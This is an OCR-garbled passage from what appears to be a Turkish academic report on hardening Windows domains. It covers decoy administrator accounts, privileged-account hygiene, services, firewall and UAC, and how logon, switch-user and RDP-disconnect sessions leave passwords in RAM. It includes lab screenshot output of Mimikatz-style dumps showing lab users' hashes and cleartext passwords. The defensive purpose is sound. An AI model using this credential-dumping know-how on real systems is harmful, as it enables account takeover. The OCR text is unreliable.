sablonlar takip edilmeli ve kullanilmalidir. Tavsiye edilen sablonlar asagidaki gibi-

dir:

- http://www.bilgiguvenligi.gov.tr/kilavuz-dokumanlar /index.php
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- https://benchmarks.cisecurity.org/downloads/multiform /

- http://web.nvd.nist.gov/view /ncp/repository

e Yeni kurulumu saglamip etki alanina alinan bir bilgisayar i¢in Windows Group

Policy grubu olmali ve o gruba dahil edilmelidir.

e Imaj ile igletim sistemi kurulduktan sonra, bilgisayarda yetkili yerel kullanic1 veya
default kullanicilar silinmelidir. Yerel kullanici kullanilmasi gerektiginde kullanilma
igslemi bitince miimkiinse silinmelidir aksi halde saldirganlar tarafindan ele gecirilme

ihtimaline karg: yerel kullanicinin iglemleri denetim altinda olmahdir. [17].

e Windows Group Policylerinden User Configuration > Preferences 6zelligi kullani-
larak onleyici amagh tuzak kullanici olugturulmahdir. Bu iglem agagidaki gibi iig

adimda yapilabilir.

1. Isletim sistemi ile default olarak gelen (built-in) ve yerel yonetici haklarina
sahip olan (Administrator (built-in)) devre digi birakilir. Action kismi Update
secilir, Description kismina, Deneme amac¢ldir vs. yazilabilir. Rename to ve
Full name kismi giiphe ¢ekmeyecek bir isim olan test, tester, deneme vs. isim
verilir. Parola uzun ve karmagik bir gekilde ayarlatilir. En altta User cannot
change password, Password never expires, Account is disabled ve Account never

expires secenekleri secilir ve ok denilerek iglem tamamlanir.

2. Ilk islemden sonra tuzak kullanici olusturulur. Yerel yonetici olarak kullanic
adi Administrator, tanimi default yerel yonetici tanimi olan Built-in account
for administering the computer/domain yazilir. Parolanin agik halini elde et-
meyi zorlagtirmak icin parola yine uzun ve karmagik verilir. Ilk iglemdeki gibi
biitlin alt segenekler secilir. Burada kullanici devre digi birakilmigtir, amag
saldirganin zaman kaybetmesini saglamaktir.

Not: Burada parola kisa tutularak ve kullanici etkin birakilarak saldir1 tespit
amachda kullanilabilir. Yani saldirgan parolay1 elde edip login oldugunda anlik
haberlesme sistemi devreye girerek saldirgani tespit etme ve gerekli 6nlemlerin

alinmasi saglanilir.

3. Olusgturulan tuzak kullanici USERS veya GUESTS yetkilerinde gruplara iiye
yapilir ve bilgisayar iizerindeki tiim haklari alinir.

Not: Tuzak kullanici olugturma yaygin bir yontem oldugundan dolay: saldiriy:
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yapan saldirganlar deneyimli kigiler oldugunda bu olasilik g6z 6niinde bulun-
durularak iglem yapildigindan SID degerine bakilarak durum anlagilabilmek-
tedir. Bunun icin yerel yonetici parolalarinin yonetimi icin &zel geligtirilmig
uygulamalar mevcuttur. Degisik yeteneklerdeki bu uygulamalardan faydala-
nilabilir [17]. Yerel yoneticilerin ve BIOS sifrelerinin otomatik / birbirinden
farkli olarak ayarlanmasi ve merkezi olarak yonetilmesi konusu ile ilgili makale
linkteki gibidir.
https://www.bilgiguvenligi.gov.tr/kurumsal-guvenlik/merkezi
-olmayan-parolalarin-yerel-yonetici-BIOS-vs.-yonetiminde

-guc-parolasi-yaklasimi.html

3.1.5 Kritik Hesaplarin Kullanimmma Dair Alinacak Onlemler

Windows igletim sistemi veya kullanici kaynakli olusan tehditler sonucu yapilan saldiri-
larda uygulanan adimlardan aragtirma adiminda kritik hesaplar ele gegirilip kullanilmaya
caligilmaktadir. Bu yiizden tarama sonucunu minimum seviyeye indirecek giivenlik 6n-
lemleri alinmali, en az bilginin aciga ¢ikmasi icin gerekli iglemler yapilmali ve 6zellikle
kritik hesaplar amaclar1 diginda kullanilmamalidir. Kritik hesabi olan kiginin ayrica yet-
kisi kisitli bir hesabi olmalidir. Onemli iglemleri yetkili hesap ile gerceklestirirken, normal

siradan veya giinliik iglemlerini yetkisi kisitli hesap iizerinden gergeklegtirmelidir.

Bu konu icin alinmas: gereken tedbirler agagidaki gibidir;

e Etki alami denetleyicisi (DC) hari¢ higbir bilgisayarda yetkili hesap kullanilarak
oturum agilmamalidir. Etki alanindaki kullanicilarin oturum agmasi gerekmeyen
sunucu ve istemcilerde, oturum agmayacak sekilde yapilandirilmali ve bunun yerine
destek gruplar gibi sistemlerde oturum agip bakim yapilmasi: gerekiyorsa bu destek
gruplar: ile saglanmalidir. Yetkili kullanicilarin gerekli izinleri kontrol edilmeli ve
sinirlarinin iyi belirlenmis olmas1 gerekmektedir. Genel olarak bu tip saldirilarda
agik birakilmig oturumun parolasini gesitli uygulamalar ile RAM iizerinden elde
edilebilmektedir.

Bu uygulamalara karg: alinabilecek tedbirler agagidaki gibidir.

1. LM sifreleme 6zeti kullamilmamalidir. Kerberos kullanilmalidir.

2. Ag iizerinde NTLMv2 kullanilmalidir.


https://www.bilgiguvenligi.gov.tr/kurumsal-guvenlik/merkezi\-olmayan-parolalarin-yerel-yonetici-BIOS-vs.-yonetiminde\-guc-parolasi-yaklasimi.html
https://www.bilgiguvenligi.gov.tr/kurumsal-guvenlik/merkezi\-olmayan-parolalarin-yerel-yonetici-BIOS-vs.-yonetiminde\-guc-parolasi-yaklasimi.html
https://www.bilgiguvenligi.gov.tr/kurumsal-guvenlik/merkezi\-olmayan-parolalarin-yerel-yonetici-BIOS-vs.-yonetiminde\-guc-parolasi-yaklasimi.html
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3.

4.

d.

Eger alt yap1 destekliyorsa ve biitce uygun ise akilli kart kullanilmalidir.
SMBv3 kullamilmalidar.

Ram iizerinde herhangi bir bilgi birakilmamas i¢in oturumu kapatilan bilgi-

sayarlar yeniden baglatilmalidir.

Ram iizerinde bilgi elde eden uygulamalar Windows Registry Editor’den (re-
gedit.exe) giivenlik paketlerini

(HKEY LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Control\ Lsa
\Security Packages)

kullanmaktadirlar. Gereksiz paketler kaldirilarak saldir1 yiizeyi daraltilmalidir.
Etki alaninda kaldirildiginda(tspkg , kerberos) ise bir takim kimlik dogrulama

sorunlarina sebep oldugu goz 6niinde bulundurulmalidir.

Parola olustururken ozellikle ALT tugu kombinasyonlu karakterler (e, £,£,$
vs) kullanilmahdir. Bu durumda RAM iizerinde parolanm tamami elde edile-
meyecektir. Burak kullanicisina ait parola ZoraeParola olsun. Mesut kullani-
cisina ait parola Test123 ve gekil 3.1 iizerinde goriildiigii gibi burak kullanici-
siminda parolasinin ilk kismi elde edilmigtir.

#* Username : burak
= SEHIR-PC1
: 7869h713%f cd@bh?4df 68chddf 4d3e177
: edlab3ce3ad9?cchl64e522c7176h4889hBYE0hLE

: bhurak
= SEHIR-PC1
d | Zor

: bhurak
: _SEHIR-PC1
z| Zor

: bhurak

@ SEHIR-PG1
* Password : Zor
ssp =

credman =

: B ; 189188 (PPDRBPGO:BBB2e384>

: Interactive from

= mesut

: SEHIR-PC1

= §-1-5-21-3687518117-722887369-3280037823 18601

msu =
[AARAAAA3 1 Primary

* lUsername : mesut

* Domain = SEHIR-PC1

* LM : b24aac413795cdclaad3b435h51484ee
= NTLM : 3bida22h1973cBhhi6d4a?hba?achhfb
* SHA1 1 ?6234beSbhf1f317e217af@14a93fch7a51hd6h3b
tspkg =

* lsername I mesut

D i : SEHIR-PC1
: | Testl123

= mesut
= SEHIB-PC1
H =t123

= mesut
= SEHIR-PC1
#* Password : Testl23

SEKIL 3.1: On Bellekten Sifre Elde Edilirken ALT Kombinasyon ile Uretilen Karakter

Fark:

Ancak degigik yontemler kullamilarak ALT kombinasyon ile olugturulan karakter-

ler de elde edilebilecegi unutulmamalidir. Parolanin ve daha birgok kritik bilginin



Boliim 3 Onlemler 50

de RAM iizerinde oldugu goz 6niinde bulundurulup bu kritik verilerin tamamen
RAM iizerinden silinmesi isteniyorsa bilgisayarin muhakkak yeniden baslatilmasi

gerekmektedir.

e Windows igletim sistemi veya kullanici kaynakli olugan tehditler sonucu yapilan
saldirilarda ele gecirilen bilgisayarlarin iizerinde ¢aligsan prosesler yetkili bir hesap ile
caligtirilabilecegi ‘Tehditler ve Saldirilar’ boliimiinde uygulamali olarak anlatilmigti.
Bunun igin etki alaninda kritik éneme sahip hesaplar ile Etki alan1 denetleyicisi
(DC) diginda bagka bir bilgisayarda proses baglatilmamalidir. Aksi halde proses

sonlandirilmali ve miimkiinse bilgisayar yeniden baglatilmalidir.

e Etki alam denetleyicisi (DC) {izerinde yetkili bir hesap ile agilan oturumda giin-
liikk iglemler yapilmamali, bunun icin yetkisiz bir hesap kullamilmalidir. Etki alam
denetleyicisi (DC) tizerinde yetkili bir hesapla iglem yapilmas: gerekiyorsa anlik ola-
rak bilgi alinabilmesi icin alarmlar iretilmelidir. Bu durum igin agagidaki o6neriler

dikkatle uygulanmalidir.

1. Etki alanindaki énemli gruplara kullanici ekleme ¢ikarma iglemleri yapilirken

2. Etki alanindaki grup veya kullanicilar i¢in yetki degigikligi iglemleri yapilirken

3. Windows Group Policylerinde yetki devri, degigikligi ve gilincelleme iglemleri
yapilirken

4. Onem derecesi yiiksek gruplarda, kapsam (scope) veya tipi (type) degisiklik

islemleri yapilirken

e Herhangi bir kullanici bilgisayarda ilk defa oturum agtiginda Windows Registry
Editor verilerinde baz giincellestirmeler olmakta ve C:\Users altinda otomatik ola-
rak bazi kullanic1 dosyalar: olugmaktadir. Oturum agildiktan sonra otomatik olarak
olugan bu veriler tehditler sonucu yapilan saldirilarda 6zellikle saldirgan tarafindan
aranmaktadir. Bu durumun 6niine gecmek icin kullanici bilgisayar: kapattiginda bu
verilerin silinmesi i¢cin Windows Group Policylerde betikler yazilmasi tavsiye edil-

mektedir [17].

3.1.6 Servis Giivenligini Saglama

Servisler, Windows igletim sistemlerinde ara yiizii olmayan ancak farkli amaglar dogrul-

tusunda genellikle arka planda calisan nesnelerdir.
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Servislere Control Panel > All Control Panel Items > Administrative Tools > Services
yonergeleri takip edilerek ulasilir ve istenen servis burada acilip kapatilabilir. Buradan
kullanilmayan servisler devre dig1 birakilmalidir.

Birbiri {izerinde iglem goren servislerde bagimhiliklar kontrol edilmeli, kullanmilmayan ser-
vislere bagimlilik verilmemeli varsa sonlandirilmahdir. Aksi halde erigilebilirlik acgiklikla-
rinin olugmasina sebep olmaktadir.

Servis kullanicilarimin parolalar: giiclii olmalidir. Sik sik degistirilmeli ve erigimin sekteye
ugramamasi i¢in de parola siiresi hi¢cbir zaman bitmeyecek gekilde ayarlanmalidir.
Kritik servislerin herhangi bir hata sonucu kapatilmasi durumunda, birinci ve ikinci hata
sonucunda yeniden baglatilmas: saglanmali ii¢iincii hatada ise gerekli bir uygulamanin
baglatilmas: saglanmalidir.

Kritik servislere yonelik herhangi bir kaba kuvvet saldirisinda servisin kilitlenmesi kural

uygulanmalidir.

3.1.7 Windows Firewall with Advanced Security

Windows igletim sistemlerinden Vista, 7, 8, Server 2008, Server 2012 de varsayilan ve
aktif olarak gelmektedir. Windows Firewall with Advanced Security’ye yonelik ayarlar

agagidaki gibidir.

e Gelen ve giden yonde trafik analizi yapabilmektedir. Bunun igin 3 ayar mevcuttur.
Block; Giivenlik duvarinda tanimlanmig ve izin verilenler diginda biitiin baglan-
tilar1 engeller. Block All Connections; Giivenlik duvarinda tanimlananlarda dahil
biitiin baglantilar: engeller. Allow; Giivenlik duvarinda tanimlh kurallar yok ise bii-

tiin baglantilara izin verir.

e [PSec baglantilarinin kontroliinii de saglayabilmektedir. Grup ilkelerinden Compu-
ter Configuration > Policies > Windows Settings > Security Settings > Windows
Firewall with Advanced Security alanindan tiim etki alani i¢in giivenlik duvari ku-

rallar1 tamimlanabilir.
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e Etki alanlarinda grup ilkeleri merkezi olarak yonetilebildiginden yerel giivenlik du-

vari kurallar: devre digt birakilarak grup ilkeleri ile belirlenen kurallar uygulanabilir.

3.1.8 Kullanici1 Hesap Denetimi (User Account Control)

UAC ( User Account Control) bilgisayarda programsal veya yazilimsal herhangi bir de-
gisiklik yapilirken uygun ayar secili oldugunda kullaniciy1 uyaran bir denetim sistemidir.
Kullanicinin erigmesi gereken verilerin giivenirligi UAC korumasi devreye alinarak du-
ruma kargt iglem yapmasi saglanabilir.

UAC ayarlarinin En iist secenegi (Her Zaman Uyar secenegi) secildiginde herhangi bir
degigiklik yapilmak istenildigi veya bir program yiiklenecegi zaman uyari vermektedir.
En alt secenegindeki durum kapali durumudur. Buna gore uygun ayar secilmelidir.
Kullanici hesap denetimi herhangi bir program iizerinde etkili olmasi istenmiyorsa ve eger
kullanici admin ise programa sag tiklayarak ‘Run As Administrator’ secenegi segilerek
program cahgtirilir. Ya da ilgili programin uyumluluk &zelliginden ‘Programi Yd&netici

Olarak Caligtir’ secenegi segilmelidir.

3.1.9 Diger Giivenlik Onlemleri

Yukarida bahsi gecen tedbirler diginda daha birgok tedbir mevcuttur. Burada temel olan-
lar agagidaki gibi anlatilacaktir.

e SMB/CIFS bilgisayarlar arasindaki paylagtirilmig dosya, yazicilar gibi kaynakla-
rin ulagilip kullanilmasinda iglev goren bir protokoldiir. Dogal olarak paylagimdaki
verilerin ulagim sirasinda birileri tarafindan elde edilip degistirilmesi ciddi sikin-
tilara yol acabilir. Bu sebep ile Microsoft SMB Signing denen bir metod ile bu
data yolculugundaki paketleri imzalayarak bozulmamalarimi (saldir1 amagh olarak
degistirilmig paket gonderilmesini), bozulmalari durumunda da bu paketlerin alica

tarafindan reddedilmesini saglar.
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e Kaba kuvvet saldirilarini 6nlemek amaciyla uygun bir parola politikas: ile hareket
edilmelidir. Parolanin uzun, karigik, ALT kombinasyon karakterli, birbirini tekrar-
lamayan parolalar kullanilmaya 6zen gosterilmelidir. Ayni gekilde 6zel 6nem de-
recesine sahip kullanicilar igin golge (shadow) gruplar olusturularak Fine-Grained

tarz1 politikalar uygulanabilir.

e Yonetici olarak kullanici bilgisayarlarinda oturum acilmamalidir. Bu iglem icin 6zel
gruba (yardim masasi) iiye kullanici ile oturum agilmali, iglem bittikten sonra bil-

gisayar yeniden baglatilmalidir.

e Kullanicilara gorevleri gergevesinde yetkiler verilmelidir. Gegici verilen yetkiler ta-
kip edilmeli ve denetlenmelidir. Anti viriis tarzi giivenlik programlari, DLP gibi
ajanlarla ¢aligtigindan kesinlikle yetkili kullanici ile caligtirilmamalidir. Bu tip prog-
ramlar 6zel olarak olugturulan ve yetkilendirme yapilmig servis hesaplar ile calig-
tirilmalidir. Kritik oneme sahip hesap yetkileri ile caligtirilmasi durumunda yapila-
bilecek saldirilar ile saldirganlar hesabin jetonunu kullanarak veya prosesine sigra-
yarak yetkileri elde edip, 6nem derecesi yiiksek gruplarda bir kullanici olugturabilir
(Eger alarm sistemi yok ise bu durumdan haberdar olunamaz) . Diger bir yetki ko-
nusu yetkili alanin kontrol edilmesidir. Yani teknik destek veya yardim masasi gibi
belli yetkileri olan kullanicilarin, uzak masaiistii veya bu iglemi gerceklestiren bazi
programlar kullanarak personel bilgisayarina erigip destek vermektedir. Bu iglemi
gilinliik kullandigi makine iizerinden degil de sanal olugturulmus bir makinadan

yapmast giivenligi daha ¢ok artiracaktir.

o Ozellikle sosyal medya kullanicilarinin parola veya parola 6zetlerinin calindig giin-
demde olan bir durumdur. Bu neticede kullanici girket hesaplarinin parolalar: sosyal
medyada kullandiklar: gifreler ile benzer veya ayni olmamalidir hatta miimkiinse

tamamen farklh olmalidir.

e Kullanicilar kurum ile ilgili hesap bilgilerini miimkiinse bir yerlere acik olarak yaz-
mamalilar. Yazacak olurlarsa da sifreleyip yazmalar: tavsiye edilir. Aksi takdirde
saldiriy1 yapan kisi veya kigiler aragtirma sonucu bu bilgilere ulagabilmekte ve kul-
lanmaktadir. Yine ayni1 gekilde sakladigr dosya adi da dikkat gekecek gekilde olma-
masi lazim. Ayrica parola giivenligi hakkinda linkteki makale incelenebilir.

https://www.bilgiguvenligi.gov.tr/web-guvenligi/parola-analizi.html


https://www.bilgiguvenligi.gov.tr/web-guvenligi/parola-analizi.html
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e Giivenlik duvarlar: ve UAC tarz giivenlik sistemleri agik olmali hak yiikseltme gibi
durumlarda igletim sisteminin yonetici onay modunun agik olmasi gerekmektedir.
Ayrica konu ile ilgili linkteki makale incelenebilir.
https://www.bilgiguvenligi.gov.tr/sizma-testleri/pass-the

-hash-saldirilari-ve-korunma-yontemleri.html

Bilgisayarlar ve paylagimlarda 6nem derecesi yiiksek kritik veriler mevcuttur. Bu

bilgiler agagidaki gibidir.

- Dosyast sifrelenmeden saklanan kritik bilgiler (ip listeleri, kullanicilar, paro-

lalar).

- Zamanlanmig gorevler ve bazi iglemler icin kullanilan betiklere eklenen kulla-

nic1 ve parola bilgisi

- Onem derecesi yiiksek sistemlere baglant:1 kurmak icin oturum bilgileri iceri-

sinde kayith RDP, SSH ve F'TP baglant1 dosyalar:

e Onem derecesi yiiksek dzellikle etki alan1 denetleyicisi (DC) gibi sunuculara uzak-
tan erigim yapilmamalidir. Yapilma mecburiyeti var ise sadece belirli adreslerden
yapilmalidir. Ayrica konu ile ilgili linkteki makale incelenebilir.
http://www.bilgiguvenligi.gov.tr/microsoft-guvenligi/windows-server-

2008-salt-okunur-etki-alani-denetcileri.html

e Uygulanacak her giivenlik 6nleminin once bilgi sistemleri tarafindan veya bu ko-
nuda yetkili kurum / kuruluslarca test edilip 6yle kullanilmaya baglanmalidir. Bu

onlemle birlikte 6ncesi ve sonrasi sik sik denetlenmelidir.

e Bazi1 kurumlar farkli etki alanlarina sahiptirler. Saldirganlarin diger etki alanla-
rina da sicramamasi igin etki alanlari miimkiin oldugunca birbirinden soyutlanmali
ve bu dogrultu da bog kok etki alam (empty root domain) kullamlmahdir. Bu-
rada dikkat edilmesi gereken durum; 6nem derecesi yiiksek grup (Domain admins,
Enterprise Admins) kullanicilarimin alt gruplar da oturum a¢mamalaridir. Saldiri
yiizeyini daraltmak i¢in etki alanlarn arasindaki giiven iligkileri (trust relationship),
iligkinin gecisligi, yonii ve tiirii konularina dikkat edilerek se¢meli kimlik dogrulama

(selective authentication) kullamlmalidir.


https://www.bilgiguvenligi.gov.tr/sizma-testleri/pass-the-\hash-saldirilari-ve-korunma-yontemleri.html
https://www.bilgiguvenligi.gov.tr/sizma-testleri/pass-the-\hash-saldirilari-ve-korunma-yontemleri.html
http://www.bilgiguvenligi.gov.tr/microsoft-guvenligi/windows-server-\2008-salt-okunur-etki-alani-denetcileri.html
http://www.bilgiguvenligi.gov.tr/microsoft-guvenligi/windows-server-\2008-salt-okunur-etki-alani-denetcileri.html
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e DMZ agindaki sunucular kurumun etki alaninin diginda ayr bir etki alam kullan-
mali ya da tekil (stand-alone) olarak ¢aligmali ve yonetilmelidirler. Ayr iki sistem
yoneticisi ile yonetilmeli veya farkhi hesap adlari kullanilmalidir. Windows igletim
sistemi veya kullanici kaynakli olugan tehditlere yonelik yapilan saldirilarda etki
alanina ait hesaplarin parola veya parola Ozetleri ‘Tehditler ve Saldirilar’ boli-
miinde anlatildigr ve uygulandig iizere elde edilebilirligi gosterilmisti. Buna benzer
bir durum yagandiginda yerel kullanici ve etki alami kullanicilarinin parolalar: de-
gigtirilmelidir.

Not: Saldirilarin her an olabilecegi diigiincesi ile kritik yapidaki verilerin belirli ara-
liklarla yedeklenmesi ve bu yedeklerin korunmas: gerekmektedir. Ciddi bir durum
kargisinda yedeklerin devreye sokulmasi ve caligmalarin aksamamasi gibi durumlar

icin acil eylem planlarinin hazir olmasi gerekmektedir.

e Microsoft, sistem siirekliligi icin 6nbellege aldig1 kimlik bilgilerini kullanmaktadir.
Bu durum Windows igletim sistemi igin bir takim kolayliklar getirse de sistem
gilivenligi i¢in biiyiik bir tehdittir. Dolayisi ile sisteme bir gekilde erigebilen saldirgan
kullaniciya ait kimlik bilgilerini 6nbellekten okuyabilmektedir. Bunun énlemek icin

kesinlikle bilgisayar yeniden baglatilmalidir.

e Eger bir sizma testi gerceklegtirilmis ise gergeklestiren kigiye verilen yetkilerin iglem
sonunda geri alinmalidir. Sizma testini gergeklegtiren kisi tarafindan olugturulan
kullanicilar ve dolayist ile yaptigr tiim degisiklikler eski haline getirilmelidir [17].
Alnan teknik énlemler diginda agagidaki iki temel noktaya daha dikkat edilmelidir.

— Giivenlik tedbirlerinin siki saglanabilmesi igin personele bu konuda ara ara
egitimler verilmeli bu egitimin derecesi caliganlar arasinda olgiilmeli, uygula-

nabilirligi siirekli kontrol edilmelidir.

- Tim bu iglemler uygulanmaya calisildiginda personel tepkisi ile karst karsiya
kalinabilmektedir. Bu durum icin iist yonetim, destegini maddi ve manevi
olarak siirekli vermelidir. Bu 6nlemi bir girket politikas: haline getirmek ge-

rekmektedir.
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3.2 Bellekten Parola Elde Edilmesini Onleme Yontemleri

Windows igletim sistemlerinde oturum acilirken ekrana girilen kullanici bilgileri, kimlik
dogrulama icin kullamlan bazi DLL’ler (msvl 0, tspkg, wdigest, kerberos) ile birlikte
RAM iizerine yiiklenmektedir. RAM iizerine yiiklenen kullanici bilgileri ‘Mimikatz’ ve
‘WCE’ benzeri araclar ile elde edilebilmektedir. Bu durum kargisinda kullanici bilgileri-
nin ele gecirilmesini zorlagtirmak ve onlemek icin ne tiir 6nlemler alinabilecegi iizerinde

durulmustur.

3.2.1 Oturum Sonlandirilirken Ortaya Cikan Tehditler ve Alinacak

Onlemler

Bilgisayarda oturum ac¢ma iglemi normal veya uzak masaiistiinde olabilir. Bu oturum-
lardan cikig icin birkac yontem kullamilmaktadir. Bu durumlar oturum kapatma, uzak
baglantiy1 kesme, kullanic1 degistirme, bilgisayar: kapatma ve yeniden baglatma seklinde
olabilmektedir. En etkili 6nlem ise bilgisayar: normal kapatma yontemi kullanilmasidir.
Aksi taktirde RAM iizerinde parola kayith kalacak ve olasi bir saldirida parola ele geci-
rilecektir. Bu olasi durumlar: anlatan saldiri sonuclar: ve bu sonuclarla birlikte alinmasi

gereken Onlemler igin asagidaki gibi alt bagliklar seklinde tavsiyelerde bulunulmustur.

3.2.1.1 Kullanict Degistirme(Switch User)’de Olugsan Tehdit ve Alinacak

Onlemler

Kullanici bazi durumlarda (bilgisayarin hemen agilmas: istenmesi, agik programlarin ta-
mamen kapatilmak istenmemesi, devam eden caligmanin bulunmasi, bagka bir kullanici
ile iglem yapmak istemesi vs. ) bilgisayarindan Kullanici Degigtirme(Switch User) yon-
temi ile cikig yapar. Bu durum saldirgan bakig agist ile goz 6niinde bulunduruldugunda
RAM iizerinde kullanict hesap bilgilerinin kayith oldugu anlagilir. Béliim 2 {izerinde anla-
tildigy gibi ‘Mimkatz’ araci kullanilarak kullanicinin hesap bilgileri elde edilebilmektedir.
Bu duruma o6nlem olarak oturumu degistir secenegi kullanilmamali ve bilgisayarda ya-
pilan iglemler bittiginde kapatilmalidir. Saldir1 sonucu ekran ¢iktisi ile birlikte agagida

verilmigtir.
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Sehir-PC1 adl bilgisayarda KEMALTEZ|mehmet.keles adli kullanic1 iglemlerini biti-
rip kullaniciy1 degistirme yontemi ile bilgisayardan ¢ikig yapmigtir. Daha sonra Sehir-
PC1/mesut adli kullanic1 giris yaparak kendi oturumunu agmigtir. Bu iki durum goz
oniinde bulunduruldugunda herhangi bir tehdit goriillmemektedir ancak yapilan saldirida
sekil 3.2 tizerinde goriildiigii gibi her iki kullanicinin parola bilgileri elde edilebilmektedir.

Authentication Id : B ; 216677 (PDAPOADA:BAR34eq)
Bession : Interactive from 2
: mehmet .keles
KEMALTEZ

: 5-1-5-21-523445335-376924824

File Options View Help

Applications | Processes | Services | Performance | Networking | Users

msy =
[AOAAEAA3 1 Primary User = D Status Client Name Session
Username : mehmet.keles
Domain : KEMALTEZ A mesut 1 Active Cansole
LM : d?biflccdBc425564207F dBdf ] Ay mehmetkeles 2 Discon..
NILM : Sc2eVad87305a8%ch 441l boeld -

: h265d895f17af5982h498hd3hd

z| mehmet .keles
:| KEMALTEZ
d | Hekelesi2

EX Administrator: C:\Windows\system32\cmd exe

Microsoft Windows [Uersion 6.1.76811
Copyright <c> 288? Microsoft Corporation. All rights p

z mehmet .keles
: KEMALTEZ
d = Mekelesi2

7 mehmet . keles
: KEMALTEZ.MET
1 Mekelesi2

C:sUsersmesut>guwinsta
USERNAME

mesut
mehmet . keles

= B 5 139772 (PDDEBRO0:BRR221f
: Interactive from 1

= mesut

: SEHIR-PC1

1 8-1-5-21-3687518117-72288736

C:\lUsers\mesut>

msy =
[AABEAEEA3 1 Primary
Username : mesut
Domain : SEHIR-PC1
L : 624aac413795cdclaad3h435hy)
NTLM : 3hlda22b1973cBbh86d4a?hbal)
: 96234beShf1£317e217af B14a9)

: [mesut
:| SEHIR-PC1
: | Testl123

: mesut
: SEHIR-PC1
* Password : Testl23

SEKIL 3.2: Kullanici Degigtirerek Oturumdan Cikis Yapildiginda Olusan Durum

3.2.1.2 Oturum Baglantisinin Diigmesi (Disconnect Your Session Immedi-

ately)’nde Olusan Tehdit ve Alinacak Onlem

Kullanici bazi durumlarda masaiistiinii kapatmadan farkli bir yerden yetkili bir etki alani
kullanicis1 ile uzak masaiistii baglantisi kurar. Bu durumda kullanicinin masaiistii bag-
lantist kesilmig olur. Giivenlik acisindan olaya bakildiginda her iki kullanicinin parolalar:
RAM iizerinde kayit edilmigtir. Béliim 2 {izerinde anlatildigi gibi ‘Mimkatz’ araci kulla-

nilarak kullanicimin hesap bilgileri elde edilebilmektedir.

Eger bilgisayarin belleginde 6nemli verinin ve 6zellikle kullanici parolasinin kalmasi is-
tenmiyorsa, bilgisayarin yeniden baglatilmasi veya tamamen kapatilmas: gerekmektedir.
Ayrica uzak masaiistii baglantilar icin belirli IP’lere izin verilmeli ve bu tiir baglanti-

lardan kaginilmasi etkin bir 6nlemdir. Saldir1 sonucu ekran c¢iktisi ile birlikte agagida
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verilmigtir.

Sehir-PC1’de mesut adli kullanicinin oturumu agik durumdadir. Etki alaninda olan KFE-
MALTEZ/cem.sari adli kullanici uzak masaiistii baglantisi gerceklegtirmigtir. Bu du-
rumda mesut adli kullanicinin oturumu diismiis ve cem.sari adli kullanicinin oturumu
acilmigtir. Yapilan bu iglemler normal gériiniip herhangi bir tehdit olugturdugu goriilme-
mektedir. Ancak yapilan saldirida Sekil 3.3 {izerinde goriildiigii gibi her iki kullanicinin

parolalar: elde edilmigtir.

g —

: @ ; 294855 (0EO00A00:00047ca7> EEECESG T ER T
Remotelnteractive from

cem.sari Applications | Processes | Services | Performance | Metworking | Us
KEMALTEZ
: §-1-5-21-523445335-3769248244-1 -
msy = i
[0BRABBA3 1 Primary User jin} Status Clienk Mame Session
= gserr_mme : ﬁ%ﬂni%ﬁ 24 mesut 1 Discan. .,
#* Domain H
= LM : 24c864d8c69db6a3c81667e9d738c $emsal 2 peve  SEHIRPC  RDPTepdd
= NTLM = 5@8cd53Ff1?d3caf FeccelbaB?45a67h
+* SHAL : 2cf8fBa?736eefaebiddebc2?cles
tepky =
Username :|cem.sari
: &ET%‘:EE EX Administrator ChWindows\system32iomd.exe

Microsoft Windows [Uersion 6.1.76811
Copyright (c> 2887 Mi zoft Corporation.

s : [Cem.sary
omain = |KEMALTEZ

Password : ||Cel23456
e

*
* I
= P

wdig
=l
* I
* C:sUsersscem.sari>gquinsta
SESSIONNAME USERNAME
SeRrulces

mesut

: @ ; 229868 (OABAAOAA:
: Interactive from 1
mesut
SEHIR-PC1 sllzers _zari
i 824-5-2i-3687510117-off  EerSieen.-sarii_
sv =
[BBAAEEA3 1 Primary
#* Username : mesut
* Domain = SEHIR-PC1
* LM : 624aac4137?5cdclaad
= NTLM : 3bhida22bl19?3cBbhi6d
= SHAL : 96234beShf1£317e217.
tepky =
#* Username : mesut
#* Domain = | SEHIR-PC1
#* Password | Test123

SEKIL 3.3: Kullanici Diigiirme Sonucu Olugan Durum

3.2.1.3 Uzak Masaiistii Baglantisin1 Kesme (Disconnect)’de Olusan Tehdit

ve Alinacak Onlem

Kullanici bazen uzak masaiistiinii kapatmadan baglantisimi keser. Bu durumda kullani-
cinin masaiistli baglantisi kesilmig olur ancak bilgisayar kapanmaz. Giivenlik agisindan
degerlendirildiginde bilgisayar kapatilmadigindan dolay: kullanici hesap bilgileri RAM
iizerinde kalmigtir. Boliim 2 {izerinde anlatildigy gibi ‘Mimkatz’ arac1 kullanilarak kulla-

nicinin hesap bilgileri elde edilebilmektedir.
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Bu durumda alinabilecek 6nlem ise oturumu kapatmak icin Disconnect secenegi ile gikig
yapilmamalidir. Eger bilgisayarin belleginde énemli verinin ve &zellikle kullanici parola-
sinin kalmasi istenmiyorsa, bilgisayarin yeniden baglatilmas: veya tamamen kapatilmasi

gerekmektedir. Saldir1 sonucu ekran ¢iktisi ile birlikte agagida verilmigtir.

Onceki senaryonun aynisi yapildiktan sonra Sehir-PC1 mesut adli kullanici uzak ma-
salistii oturumunu sonlandirmak icin gekil 3.4 {izerinde goriildiigii gibi baglantiy1 kes

secenegini kullanir.

Pic

ki& Snipping Tonl B Administratar: CAWindowstsystem32iemd, exe
Music Microsoft Windows [Uersion 6.1.76811
' Pai Copyright {c> 2089 Microsoft Corporation. A1l
a0 Paint
- C:\Userscem.sari>gquinsta
SESSIONNAME USERNAME D
1A HPS Wiewer services a
i el nesut 1
. . >rdp—tcpid cem.sari 2
o MWindows Fax and Scan console 4
\:;‘?f‘ fimzs erel e rdp—tcp [
t‘-_ Rerote Desktop Connection _ C:\Userscenm.saril
a6l Default Pre
5. bagnifier
R

»  AllPrograrms

| Search programs and files Disconnect
Lock

SEKIL 3.4: Baglantiy1 Keserek Oturumu Sonlandirma

Sonrasinda ise Sehir-PC1’de mesut yerel kullanicisi tekrar oturum a¢maktadir (Bu iglem
cem.sary tarafindan disconnect yapilmadan, direkt mesut kullanicisi ile girig yapilarak
gerceklegtirilebilir). Yapilan bu iglemler degerlendirildiginde tehdit olugturacak bir durum
goriilmedigi yoniindedir. Ancak yapilan saldirida her iki kullanicinin parola bilgisi sekil

3.5 tizerinde goriildiigii gibi elde edilmigtir.
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File Options View Help

E SEHIR-PCL
: 6242\61[:413795cdc1aad3h435h514l4ee appli r Wi Users
